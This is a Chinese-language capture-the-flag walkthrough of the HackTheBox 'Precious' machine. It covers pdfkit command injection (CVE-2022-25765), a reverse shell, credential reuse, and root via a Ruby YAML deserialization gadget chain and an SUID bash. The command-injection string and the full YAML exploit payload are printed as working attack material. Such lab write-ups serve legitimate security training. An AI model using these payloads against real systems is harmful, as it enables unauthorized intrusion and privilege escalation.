HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第1张图片

靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.189

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第2张图片

发现域名,我们本地DNS解析一下

echo "10.10.11.189 precious.htb" >> /etc/hosts

然后访问网站

CVE-2022-25765利用

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第3张图片

他的功能是将网站页面转换成PDF文件,我们本地用python开启一个http服务

python3 -m http.server 80

返回网站,然后输入

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第4张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第5张图片

他将我目录下的文件转换为PDF了,我们保存一下这个pdf文件
HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第6张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第7张图片

exiftool 4pukysg1oivmrhiow532m9v4olsfv3p2.pdf

通过分析这个PDF文件,发现他使用的是pdfkit v0.8.6

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第8张图片

通过google搜索,发现这个版本存在CVE-2022-25765漏洞

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第9张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第10张图片

我们可以远程执行代码,poc为

http//ip?name=%20`command`

我们返回网站执行试试

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第11张图片
HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第12张图片

成功执行了我们的命令,现在我们直接反弹shell即可

首先先用nc监听一个端口

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第13张图片

https://www.revshells.com/

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第14张图片

选择python3,修改ip和端口,回到靶机网页,然后粘贴这个命令即可

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第15张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第16张图片

在home目录里找了一下,发现ruby用户目录下有一个奇怪的文件夹

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第17张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第18张图片

config文件里存放着henry用户的密码,我们ssh登录即可

ssh [email protected]

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第19张图片

YAML反序列化攻击提权

在输入sudo -l时,发现有一个文件可以以sudo命令执行

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第20张图片

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第21张图片

# Compare installed dependencies with those specified in "dependencies.yml"                                                                                                                                                                                                                                                
require "yaml"                                                                                                                                                                                                                                                                                                             
require 'rubygems'                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                           
# TODO: update versions automatically                                                                                                                                                                                                                                                                                      
def update_gems()                                                                                                                                                                                                                                                                                                          
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_from_file                                                                                                                                                                                                                                                                                                         
    YAML.load(File.read("dependencies.yml"))                                                                                                                                                                                                                                                                               
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_local_gems                                                                                                                                                                                                                                                                                                        
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}                                                                                                                                                                                                                       
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
gems_file = list_from_file                                                                                                                                                                                                                                                                                                 
gems_local = list_local_gems                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                                                                                                           
gems_file.each do |file_name, file_version|                                                                                                                                                                                                                                                                                
    gems_local.each do |local_name, local_version|                                                                                                                                                                                                                                                                         
        if(file_name == local_name)                                                                                                                                                                                                                                                                                        
            if(file_version != local_version)                                                                                                                                                                                                                                                                              
                puts "Installed version differs from the one specified in file: " + local_name                                                                                                                                                                                                                             
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

通过google发现,yaml有一个反序列化的漏洞

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第22张图片

payload为

https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第23张图片

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第24张图片

这里读取的是一个名叫dependencies.yml的文件,所以我们要把payload的文件名改成这个

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第25张图片

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功执行了id命令,接下来赋予/bin/bash suid权限即可提权

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第26张图片

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功赋予suid权限

/bin/bash -p

在这里插入图片描述

成功获得root权限

HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权_第27张图片

你可能感兴趣的:(hackthebox,渗透测试,hackthebox,网络安全,cve,反序列化)